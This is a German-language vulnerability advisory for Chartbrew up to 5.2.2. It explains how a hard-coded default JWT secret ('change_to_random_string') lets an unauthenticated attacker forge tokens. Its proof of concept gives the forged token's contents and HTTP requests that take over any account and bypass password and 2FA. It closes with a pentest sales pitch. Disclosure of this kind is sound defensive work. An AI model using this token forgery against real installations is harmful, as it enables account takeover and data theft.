Chartbrew: Vollständige Kontoübernahme durch fest einkodierten kryptografischen Standardschlüssel
Chartbrews Authentifizierung akzeptiert JWTs, die mit einem fest einkodierten, öffentlich bekannten Standardschlüssel signiert sind. Ein unauthentifizierter Angreifer fälscht damit ein Token für ein beliebiges Konto und übernimmt dessen vollständige Sitzung, wobei Passwort und Zwei-Faktor-Authentifizierung umgangen werden.
Advisory-ID: TP-2026-054
Produkt: Chartbrew (Open-Source-Business-Intelligence-Plattform für Datenvisualisierung, self-hosted)
Schwachstellentyp: Verwendung eines kryptografischen Standardschlüssels (CWE-1394)
CVE: CVE-2026-85295
CVSS 3.1: 9.8 (Kritisch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Hersteller-Advisory: GHSA-qvv4-r3q6-8797
Betroffene Versionen: <= 5.2.2
Behoben in: Chartbrew 5.2.3
Gemeldet: 16. Juli 2026
Zusammenfassung
Chartbrew ist eine self-hosted Open-Source-Business-Intelligence-Plattform für Datenvisualisierung, deren Server jede API- und WebSocket-Anfrage durch Verifizierung des Bearer-JWT gegen zwei Schlüssel authentifiziert: zuerst CB_ENCRYPTION_KEY, dann CB_SECRET. CB_SECRET wird in .env-template als fester Wert change_to_random_string ausgeliefert, ist mit „[deprecated]“ kommentiert und wird beim Start nie generiert. Vier Auth-Middlewares (verifyToken.js:26, verifyUser.js:27, getUserFromToken.js:22, socketManager.js:43) fallen auf jwt.verify(token, settings.secret) ohne Algorithm-Allowlist zurück. Ein unauthentifizierter Angreifer fälscht ein HS256-JWT für jede beliebige Nutzer-ID und hält die vollständige Sitzung dieses Nutzers, wobei Passwort und 2FA umgangen werden.
Ursache
Vier Auth-Middlewares fallen auf jwt.verify(token, settings.secret) (= CB_SECRET) ohne algorithms-Allowlist zurück, nachdem die primäre Verifizierung über CB_ENCRYPTION_KEY fehlschlägt (server/modules/verifyToken.js:26, verifyUser.js:27, getUserFromToken.js:22, socketManager.js:43). settings.secret bildet auf process.env.CB_SECRET ab (server/settings.js:3), während Nutzer-Sitzungen ausschließlich mit settings.encryptionKey signiert werden (server/api/UserRoute.js:25), sodass der CB_SECRET-Pfad ein zweiter Akzeptanzschlüssel ist, den kein legitimer Token nutzt. CB_SECRET wird als statischer Platzhalter change_to_random_string in .env-template:32 unter dem Kommentar „[deprecated] This is not used anymore“ ausgeliefert. setUpEncryptionKeys.js generiert CB_ENCRYPTION_KEY, wenn dieser leer ist, berührt CB_SECRET aber nie, sodass Betreiber den Standardwert beibehalten.
Proof of Concept
# HS256-JWT fuer Opfer-Nutzer-ID 2 mit dem bekannten CB_SECRET faelschen:
HEADER {"alg":"HS256","typ":"JWT"}
PAYLOAD {"id":2}
KEY change_to_random_string
# Gefaelschtes Token an eine authentifizierte Route senden:
GET /user/2 HTTP/1.1
Authorization: Bearer <forged>
HTTP/1.1 200 OK
{"id":2,"email":"[email protected]","name":"Victim", ...}
# Eine frische, anwendungsseitig ausgestellte Sitzung fuer das Opfer erzeugen:
POST /user/relog HTTP/1.1
Authorization: Bearer <forged>
HTTP/1.1 200 OK
{"id":2,"email":"[email protected]", ..., "token":"<fresh victim session>"}
Auswirkung
- Vollständige Sitzung als jede Nutzer-ID (fortlaufende Ganzzahlen ab 1): Lesen, Schreiben und Löschen der Daten dieses Nutzers.
- Passwort und 2FA werden umgangen: die Fälschung berührt den Login-Pfad nicht.
- Erreicht den Instanz-Admin, wenn ein Nutzer
admin=1hat. - Anonym, einzelne Anfrage, keine Benutzerinteraktion, in der Standardkonfiguration.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
